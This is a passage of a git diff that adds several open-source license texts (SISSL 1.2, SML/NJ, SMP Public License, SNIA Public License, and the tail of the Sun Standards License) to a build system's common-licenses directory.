+ 1.12 "Source Code" means the preferred form of the Original Code for making modifications to it, including all modules it contains, plus any associated interface definition files, or scripts used to control compilation and installation of an Executable.
+
+ 1.13 "Standards" means the standards identified in Exhibit B.
+
+ 1.14 "You" (or "Your") means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, "You'' includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, "control'' means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.
+
+2.0 SOURCE CODE LICENSE
+
+ 2.1 The Initial Developer Grant The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims: 
+
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Initial Developer to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, and/or as part of a Larger Work; and
+
+ (b) under Patents Claims infringed by the making, using or selling of Original Code, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Code (or portions thereof).
+ (c) the licenses granted in this Section 2.1(a) and (b) are effective on the date Initial Developer first distributes Original Code under the terms of this License.
+ (d) Notwithstanding Section 2.1(b) above, no patent license is granted: 1) for code that You delete from the Original Code; 2) separate from the Original Code; or 3) for infringements caused by: i) the modification of the Original Code or ii) the combination of the Original Code with other software or devices, including but not limited to Modifications. 
+
+3.0 DISTRIBUTION OBLIGATIONS
+
+ 3.1 Application of License. The Source Code version of Original Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients' rights hereunder. Your license for shipment of the Contributor Version is conditioned upon Your full compliance with this Section. The Modifications which You create must comply with all requirements set out by the Standards body in effect one hundred twenty (120) days before You ship the Contributor Version. In the event that the Modifications do not meet such requirements, You agree to publish either (i) any deviation from the Standards protocol resulting from implementation of Your Modifications and a reference implementation of Your Modifications or (ii) Your Modifications in Source Code form, and to make any such deviation and reference implementation or Modifications available to all third parties under the same terms as this license on a royalty free basis within thirty (30) days of Your first customer shipment of Your Modifications.
+
+ 3.2 Required Notices. You must duplicate the notice in Exhibit A in each file of the Source Code. If it is not possible to put such notice in a particular Source Code file due to its structure, then You must include such notice in a location (such as a relevant directory) where a user would be likely to look for such a notice. If You created one or more Modification(s) You may add Your name as a Contributor to the notice described in Exhibit A. You must also duplicate this License in any documentation for the Source Code where You describe recipients' rights or ownership rights relating to Initial Code. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Your version of the Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer. You must make it absolutely clear than any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer for any liability incurred by the Initial Developer as a result of warranty, support, indemnity or liability terms You offer.
+
+ 3.3 Distribution of Executable Versions. You may distribute Original Code in Executable and Source form only if the requirements of Sections 3.1 and 3.2 have been met for that Original Code, and if You include a notice stating that the Source Code version of the Original Code is available under the terms of this License. The notice must be conspicuously included in any notice in an Executable or Source versions, related documentation or collateral in which You describe recipients' rights relating to the Original Code. You may distribute the Executable and Source versions of Your version of the Code or ownership rights under a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License. If You distribute the Executable and Source versions under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer. You hereby agree to indemnify the Initial Developer for any liability incurred by the Initial Developer as a result of any such terms You offer.
+
+ 3.4 Larger Works. You may create a Larger Work by combining Original Code with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Original Code.
+
+4.0 INABILITY TO COMPLY DUE TO STATUTE OR REGULATION
+
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Original Code due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.2 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5.0 APPLICATION OF THIS LICENSE
+
+This License applies to code to which the Initial Developer has attached the notice in Exhibit A and to related Modifications as set out in Section 3.1.
+
+6.0 VERSIONS OF THE LICENSE
+
+ 6.1 New Versions. Sun may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.
+
+ 6.2 Effect of New Versions. Once Original Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Original Code under the terms of any subsequent version of the License published by Sun. No one other than Sun has the right to modify the terms applicable to Original Code.
+
+7.0 DISCLAIMER OF WARRANTY
+
+ORIGINAL CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE ORIGINAL CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE ORIGINAL CODE IS WITH YOU. SHOULD ANY ORIGINAL CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY ORIGINAL CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8.0 TERMINATION
+
+ 8.1 This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. All sublicenses to the Original Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+ 8.2 In the event of termination under Section 8.1 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or any distributor hereunder prior to termination shall survive termination.
+
+9.0 LIMIT OF LIABILITY
+
+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF ORIGINAL CODE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10.0 U.S. GOVERNMENT END USERS
+
+U.S. Government: If this Software is being acquired by or on behalf of the U.S. Government or by a U.S. Government prime contractor or subcontractor (at any tier), then the Government's rights in the Software and accompanying documentation shall be only as set forth in this license; this is in accordance with 48 C.F.R. 227.7201 through 227.7202-4 (for Department of Defense (DoD) acquisitions) and with 48 C.F.R. 2.101 and 12.212 (for non-DoD acquisitions).
+
+11.0 MISCELLANEOUS
+
+This License represents the complete agreement concerning subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. This License shall be governed by California law provisions (except to the extent applicable law, if any, provides otherwise), excluding its conflict-of-law provisions. With respect to disputes in which at least one party is a citizen of, or an entity chartered or registered to do business in the United States of America, any litigation relating to this License shall be subject to the jurisdiction of the Federal Courts of the Northern District of California, with venue lying in Santa Clara County, California, with the losing party responsible for costs, including without limitation, court costs and reasonable attorneys' fees and expenses. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+EXHIBIT A - Sun Standards License
+
+"The contents of this file are subject to the Sun Standards License Version 1.1 (the "License"); You may not use this file except in compliance with the License. You may obtain a copy of the License at _______________________________.
+
+Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either 
+express or implied. See the License for the specific language governing rights and limitations under the License.
+
+The Original Code is ______________________________________.
+
+The Initial Developer of the Original Code is: 
+Sun Microsystems, Inc..
+
+Portions created by: _______________________________________
+
+are Copyright (C): _______________________________________
+
+All Rights Reserved.
+
+Contributor(s): _______________________________________
+EXHIBIT B - Standards
+
+The Standard is defined as the following:
+OpenOffice.org XML File Format Specification, located at http://xml.openoffice.org
+OpenOffice.org Application Programming Interface Specification, located at http://api.openoffice.org
diff --git a/meta/files/common-licenses/SISSL-1.2 b/meta/files/common-licenses/SISSL-1.2
new file mode 100644
index 0000000000..d10c189634
--- /dev/null
+++ b/meta/files/common-licenses/SISSL-1.2
@@ -0,0 +1,114 @@
+SUN INDUSTRY STANDARDS SOURCE LICENSE
+Version 1.2
+1.0 DEFINITIONS
+
+ 1.1 Commercial Use means distribution or otherwise making the Original Code available to a third party.
+
+ 1.2 Contributor Version means the combination of the Original Code, and the Modifications made by that particular Contributor.
+
+ 1.3 Electronic Distribution Mechanism means a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+ 1.4 Executable means Original Code in any form other than Source Code.
+
+ 1.5 Initial Developer means the individual or entity identified as the Initial Developer in the Source Code notice required by Exhibit A.
+
+ 1.6 Larger Work means a work which combines Original Code or portions thereof with code not governed by the terms of this License.
+
+ 1.7 License means this document.
+
+ 1.8 Licensable means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+ 1.9 Modifications means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. A Modification is:
+
+ A. Any addition to or deletion from the contents of a file containing Original Code or previous Modifications.
+
+ B. Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.10 Original Code means Source Code of computer software code which is described in the Source Code notice required by Exhibit A as Original Code.
+
+ 1.11 Patent Claims means any patent claim(s), now owned or hereafter acquired, including without limitation, method, process, and apparatus claims, in any patent Licensable by grantor.
+
+ 1.12 Source Code means the preferred form of the Original Code for making modifications to it, including all modules it contains, plus any associated interface definition files, or scripts used to control compilation and installation of an Executable.
+
+ 1.13 Standards means the standards identified in Exhibit B.
+
+ 1.14 You (or Your) means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, You includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, control means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.
+
+2.0 SOURCE CODE LICENSE
+
+ 2.1 The Initial Developer Grant The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+
+ (a)under intellectual property rights (other than patent or trademark) Licensable by Initial Developer to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, and/or as part of a Larger Work; and
+
+ (b) under Patents Claims infringed by the making, using or selling of Original Code, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Code (or portions thereof).
+
+ (c) the licenses granted in this Section 2.1(a) and (b) are effective on the date Initial Developer first distributes Original Code under the terms of this License.
+
+ (d) Notwithstanding Section 2.1(b) above, no patent license is granted: 1) for code that You delete from the Original Code; 2) separate from the Original Code; or 3) for infringements caused by: i) the modification of the Original Code or ii) the combination of the Original Code with other software or devices, including but not limited to Modifications.
+
+3.0 DISTRIBUTION OBLIGATIONS
+
+ 3.1 Application of License. The Source Code version of Original Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients rights hereunder. Your license for shipment of the Contributor Version is conditioned upon Your full compliance with this Section. The Modifications which You create must comply with all requirements set out by the Standards body in effect one hundred twenty (120) days before You ship the Contributor Version. In the event that the Modifications do not meet such requirements, You agree to publish either (i) any deviation from the Standards protocol resulting from implementation of Your Modifications and a reference implementation of Your Modifications or (ii) Your Modifications in Source Code form, and to make any such deviation and reference implementation or Modifications available to all third parties under the same terms a this license on a royalty free basis within thirty (30) days of Your first customer shipment of Your Modifications. Additionally, in the event that the Modifications you create do not meet the requirements set out in this Section, You agree to comply with the Standards requirements set out in Exhibit B.
+
+ 3.2 Required Notices. You must duplicate the notice in Exhibit A in each file of the Source Code. If it is not possible to put such notice in a particular Source Code file due to its structure, then You must include such notice in a location (such as a relevant directory) where a user would be likely to look for such a notice. If You created one or more Modification(s) You may add Your name as a Contributor to the notice described in Exhibit A. You must also duplicate this License in any documentation for the Source Code where You describe recipients rights or ownership rights relating to Initial Code.
+
+ You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Your version of the Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer. You must make it absolutely clear than any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer for any liability incurred by the Initial Developer as a result of warranty, support, indemnity or liability terms You offer.
+
+ 3.3 Distribution of Executable Versions. You may distribute Original Code in Executable and Source form only if the requirements of Sections 3.1 and 3.2 have been met for that Original Code, and if You include a notice stating that the Source Code version of the Original Code is available under the terms of this License. The notice must be conspicuously included in any notice in an Executable or Source versions, related documentation or collateral in which You describe recipients rights relating to the Original Code. You may distribute the Executable and Source versions of Your version of the Code or ownership rights under a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License. If You distribute the Executable and Source versions under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer. You hereby agree to indemnify the Initial Developer for any liability incurred by the Initial Developer as a result of any such terms You offer.
+
+ 3.4 Larger Works. You may create a Larger Work by combining Original Code with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Original Code.
+
+4.0 INABILITY TO COMPLY DUE TO STATUTE OR REGULATION
+
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Original Code due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.2 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5.0 APPLICATION OF THIS LICENSE
+
+This License applies to code to which the Initial Developer has attached the notice in Exhibit A and to related Modifications as set out in Section 3.1.
+
+6.0 VERSIONS OF THE LICENSE
+
+ 6.1 New Versions. Sun may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.
+
+ 6.2 Effect of New Versions. Once Original Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Original Code under the terms of any subsequent version of the License published by Sun. No one other than Sun has the right to modify the terms applicable to Original Code.
+
+7.0 DISCLAIMER OF WARRANTY
+
+ORIGINAL CODE IS PROVIDED UNDER THIS LICENSE ON AN AS IS BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE ORIGINAL CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE ORIGINAL CODE IS WITH YOU. SHOULD ANY ORIGINAL CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY ORIGINAL CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8.0 TERMINATION
+
+ 8.1 This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. All sublicenses to the Original Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive. 8.2 In the event of termination under Section 8.1 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or any distributor hereunder prior to termination shall survive termination.
+
+
+EXHIBIT A - Sun Industry Standards Source License
+
+"The contents of this file are subject to the Sun Industry Standards Source License Version 1.2 (the License); You
+may not use this file except in compliance with the License."
+
+"You may obtain a copy of the License at gridengine.sunsource.net/license.html"
+
+"Software distributed under the License is distributed on an AS IS basis, WITHOUT WARRANTY OF ANY KIND, either express or
+implied. See the License for the specific language governing rights and limitations under the License."
+
+"The Original Code is Grid Engine."
+
+"The Initial Developer of the Original Code is:
+Sun Microsystems, Inc."
+
+"Portions created by: Sun Microsystems, Inc. are Copyright (C) 2001 Sun Microsystems, Inc."
+
+"All Rights Reserved."
+
+"Contributor(s):__________________________________"
+
+EXHIBIT B - Standards
+
+1.0 Requirements for project Standards. The requirements for project Standards are version-dependent and are defined at: Grid Engine standards.
+
+2.0 Additional requirements. The additional requirements pursuant to Section 3.1 are defined as:
+
+ 2.1 Naming Conventions. If any of your Modifications do not meet the requirements of the Standard, then you must change the product name so that Grid Engine, gridengine, gridengine.sunsource, and similar naming conventions are not used.
+
+ 2.2 Compliance Claims. If any of your Modifications do not meet the requirements of the Standards you may not claim, directly or indirectly, that your implementation of the Standards is compliant.
+
diff --git a/meta/files/common-licenses/SMLNJ b/meta/files/common-licenses/SMLNJ
new file mode 100644
index 0000000000..8b49442a62
--- /dev/null
+++ b/meta/files/common-licenses/SMLNJ
@@ -0,0 +1,7 @@
+STANDARD ML OF NEW JERSEY COPYRIGHT NOTICE, LICENSE AND DISCLAIMER.
+
+Copyright (c) 2001-2011 by The Fellowship of SML/NJ Copyright (c) 1989-2001 by Lucent Technologies
+
+Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appear in all copies and that both the copyright notice and this permission notice and warranty disclaimer appear in supporting documentation, and that the name of Lucent Technologies, Bell Labs or any Lucent entity not be used in advertising or publicity pertaining to distribution of the software without specific, written prior permission.
+
+Lucent disclaims all warranties with regard to this software, including all implied warranties of merchantability and fitness. In no event shall Lucent be liable for any special, indirect or consequential damages or any damages whatsoever resulting from loss of use, data or profits, whether in an action of contract, negligence or other tortious action, arising out of or in connection with the use or performance of this software.
diff --git a/meta/files/common-licenses/SMPPL b/meta/files/common-licenses/SMPPL
new file mode 100644
index 0000000000..1780a306d7
--- /dev/null
+++ b/meta/files/common-licenses/SMPPL
@@ -0,0 +1,29 @@
+Secure Messaging Protocol (SMP) Libraries [ACL, CML, SFL]
+
+Distribution Rights
+
+All source code for the SMP is being provided at no cost and with no financial limitations regarding its use and distribution. Organizations can use the SMP without paying any royalties or licensing fees. The SMP was originally developed by the U.S. Government. BAE Systems is enhancing and supporting the SMP under contract to the U.S. Government. The U.S. Government is furnishing the SMP software at no cost to the vendor subject to the conditions of the SMP Public License provided with the SMP software.
+
+29 May 2002
+
+Secure Messaging Protocol (SMP) Public License
+
+The United States Government/Department of Defense/National Security Agency/Office of Network Security (collectively "the U.S. Government") hereby grants permission to any person obtaining a copy of the SMP source and object files (the "SMP Software") and associated documentation files (the "SMP Documentation"), or any portions thereof, to do the following, subject to the following license conditions:
+
+You may, free of charge and without additional permission from the U.S. Government, use, copy, modify, sublicense and otherwise distribute the SMP Software or components of the SMP Software, with or without modifications developed by you and/or by others.
+
+You may, free of charge and without additional permission from the U.S. Government, distribute copies of the SMP Documentation, with or without modifications developed by you and/or by others, at no charge or at a charge that covers the cost of reproducing such copies, provided that this SMP Public License is retained.
+
+Furthermore, if you distribute the SMP Software or parts of the SMP Software, with or without modifications developed by you and/or others, then you must either make available the source code to all portions of the SMP Software (exclusive of any modifications made by you and/or by others) upon request, or instead you may notify anyone requesting the SMP Software source code that it is freely available from the U.S. Government.
+
+Transmission of this SMP Public License must accompany whatever portions of the SMP Software you redistribute.
+
+The SMP Software is provided without warranty or guarantee of any nature, express or implied, including without limitation the warranties of merchantability and fitness for a particular purpose.
+
+The U.S. Government cannot be held liable for any damages either directly or indirectly caused by the use of the SMP Software.
+
+It is not permitted to copy, sublicense, distribute or transfer any of the SMP Software except as expressly indicated herein. Any attempts to do otherwise will be considered a violation of this License and your rights to the SMP Software will be voided.
+
+The SMP uses the Enhanced SNACC (eSNACC) Abstract Syntax Notation One (ASN.1) C++ Library to ASN.1 encode and decode security-related data objects. The eSNACC ASN.1 C++ Library is covered by the ENHANCED SNACC SOFTWARE PUBLIC LICENSE. None of the GNU public licenses apply to the eSNACC ASN.1 C++ Library. The eSNACC Compiler is not distributed as part of the SMP.
+
+Copyright © 1997-2002 National Security Agency
diff --git a/meta/files/common-licenses/SNIA b/meta/files/common-licenses/SNIA
new file mode 100644
index 0000000000..285798e827
--- /dev/null
+++ b/meta/files/common-licenses/SNIA
@@ -0,0 +1,122 @@
+STORAGE NETWORKING INDUSTRY ASSOCIATION
+PUBLIC LICENSE
+Version 1.1
+
+1. Definitions.
+
+1.1 "Commercial Use" means distribution or otherwise making the Covered Code available to a third party.
+
+1.2 "Contributor" means each entity that creates or contributes to the creation of Modifications.
+
+1.3 "Contributor Version" means the combination of the Original Code, prior Modifications used by a Contributor, and the Modifications made by that particular Contributor.
+
+1.4 "Covered Code" means the Original Code or Modifications or the combination of the Original Code and Modifications, in each case including portions thereof.
+
+1.5 "Electronic Distribution Mechanism" means a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+1.6 "Executable" means Covered Code in any form other than Source Code.
+
+1.7 "Initial Developer" means the individual or entity identified as the Initial Developer in the Source Code notice required by Exhibit A.
+
+1.8 "Larger Work" means a work which combines Covered Code or portions thereof with code not governed by the terms of this License.
+
+1.9 "License" means this document.
+
+1.10 "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+1.11 "Modifications" means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. When Covered Code is released as a series of files, a Modification is:
+ A. Any addition to or deletion from the contents of a file containing Original Code or previous Modifications.
+ B. Any new file that contains any part of the Original Code or previous Modifications.
+
+1.12 "Original Code" means Source Code of computer software code which is described in the Source Code notice required by Exhibit A as Original Code, and which, at the time of its release under this License is not already Covered Code governed by this License.
+
+1.13 "Patent Claims" means any patent claim(s), now owned or hereafter acquired, including without limitation, method, process, and apparatus claims, in any patent Licensable by grantor.
+
+1.14 "Source Code" means the preferred form of the Covered Code for making modifications to it, including all modules it contains, plus any associated interface definition files, scripts used to control compilation and installation of an Executable, or source code differential comparisons against either the Original Code or another well known, available Covered Code of the Contributor's choice. The Source Code can be in a compressed or archival form, provided the appropriate decompression or de-archiving software is widely available for no charge.
+
+1.15 "You" (or "Your") means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, "You" includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, "control" means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity
+
+2. Source Code License.
+
+2.1 The Initial Developer Grant. The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Initial Developer to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, and/or as part of a Larger Work; and
+ (b) under Patents Claims infringed by the making, using or selling of Original Code, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Code (or portions thereof).
+ (c) the licenses granted in this Section 2.1(a) and (b) are effective on the date Initial Developer first distributes Original Code under the terms of this License.
+ (d) Notwithstanding Section 2.1(b) above, no patent license is granted: 1) for code that You delete from the Original Code; 2) separate from the Original Code; or 3) for infringements caused by: i) the modification of the Original Code or ii) the combination of the Original Code with other software or devices.
+
+2.2 Contributor Grant. Subject to third party intellectual property claims, each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Contributor, to use, reproduce, modify, display, perform, sublicense and distribute the Modifications created by such Contributor (or portions thereof) either on an unmodified basis, with other Modifications, as Covered Code and/or as part of a Larger Work; and
+ (b) under Patent Claims infringed by the making, using, or selling of Modifications made by that Contributor either alone and/or in combination with its Contributor Version (or portions of such combination), to make, use, sell, offer for sale, have made, and/or otherwise dispose of: 1) Modifications made by that Contributor (or portions thereof); and 2) the combination of Modifications made by that Contributor with its Contributor Version (or portions of such combination).
+ (c) the licenses granted in Sections 2.2(a) and 2.2(b) are effective on the date Contributor first makes Commercial Use of the Covered Code.
+ (d) Notwithstanding Section 2.2(b) above, no patent license is granted: 1) for any code that Contributor has deleted from the Contributor Version; 2) separate from the Contributor Version; 3) for infringements caused by: i) third party modifications of Contributor Version or ii) the combination of Modifications made by that Contributor with other software (except as part of the Contributor Version) or other devices; or 4) under Patent Claims infringed by Covered Code in the absence of Modifications made by that Contributor.
+
+3. Distribution Obligations.
+
+3.1 Application of License. The Modifications which You create or to which You contribute are governed by the terms of this License, including without limitation Section 2.2. The Source Code version of Covered Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients' rights hereunder. However, You may include an additional document offering the additional rights described in Section 3.5.
+
+3.2 Availability of Source Code. Any Modification which You create or to which You contribute must be made available in Source Code form under the terms of this License either on the same media as an Executable version or via an accepted Electronic Distribution Mechanism to anyone to whom you made an Executable version available; and if made available via Electronic Distribution Mechanism, must remain available for at least twelve (12) months after the date it initially became available, or at least six (6) months after a subsequent version of that particular Modification has been made available to such recipients. You are responsible for ensuring that the Source Code version remains available even if the Electronic Distribution Mechanism is maintained by a third party.
+
+3.3 Description of Modifications. You must cause all Covered Code to which You contribute to contain a file documenting the changes You made to create that Covered Code and the date of any change. You must include a prominent statement that the Modification is derived, directly or indirectly, from Original Code provided by the Initial Developer and including the name of the Initial Developer in (a) the Source Code, and (b) in any notice in an Executable version or related documentation in which You describe the origin or ownership of the Covered Code.
+
+3.4 Intellectual Property Matters.
+ (a) Third Party Claims. If Contributor has actual knowledge that a license under a third party's intellectual property rights is required to exercise the rights granted by such Contributor under Sections 2.1 or 2.2, Contributor must include a text file with the Source Code distribution titled "LEGAL" which describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If Contributor obtains such knowledge after the Modification is made available as described in Section 3.2, Contributor shall promptly modify the LEGAL file in all copies Contributor makes available thereafter.
+ (b) Contributor API's. If Contributor's Modifications include an application programming interface and Contributor has actual knowledge of patent licenses which are reasonably necessary to implement that API, Contributor must also include this information in the LEGAL file.
+ (c) Representations. Contributor represents that, except as disclosed pursuant to Section 3.4(a) above, Contributor believes that Contributor's Modifications are Contributor's original creation(s) and/or Contributor has sufficient rights to grant the rights conveyed by this License.
+
+3.5 Required Notices. You must duplicate the notice in Exhibit A in each file of the Source Code. If it is not possible to put such notice in a particular Source Code file due to its structure, then You must include such notice in a location (such as a relevant directory) where a user would be most likely to look for such a notice. If You created one or more Modification(s) You may add your name as a Contributor to the notice described in Exhibit A. You must also duplicate this License in any documentation for the Source Code where You describe recipients' rights or ownership rights relating to Covered Code. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer or any Contributor. You must make it absolutely clear that any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer and every Contributor for any liability (excluding any liability arising from intellectual property claims relating to the Covered Code) incurred by the Initial Developer or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+
+3.6 Distribution of Executable Versions. You may distribute Covered Code in Executable form only if the requirements of Section 3.1-3.5 have been met for that Covered Code, and if You include a notice stating that the Source Code version of the Covered Code is available under the terms of this License, including a description of how and where You have fulfilled the obligation of Section 3.2. The notice must be conspicuously included in any notice in an Executable version, related documentation or collateral in which You describe recipients' rights relating to the Covered Code. You may distribute the Executable version of Covered Code or ownership rights under a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License and that the license for the Executable version does not attempt to limit or alter the recipient's rights in the Source Code version from the rights set forth in this License. If You distribute the Executable version under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer or any Contributor. You hereby agree to indemnify the Initial Developer and every Contributor for any liability (excluding any liability arising from intellectual property claims relating to the Covered Code) incurred by the Initial Developer or such Contributor as a result of any such terms You offer.
+
+3.7 Larger Works. You may create a Larger Work by combining Covered Code with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Covered Code.
+
+4. Inability to Comply Due to Statute or Regulation. If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Code due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.4 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
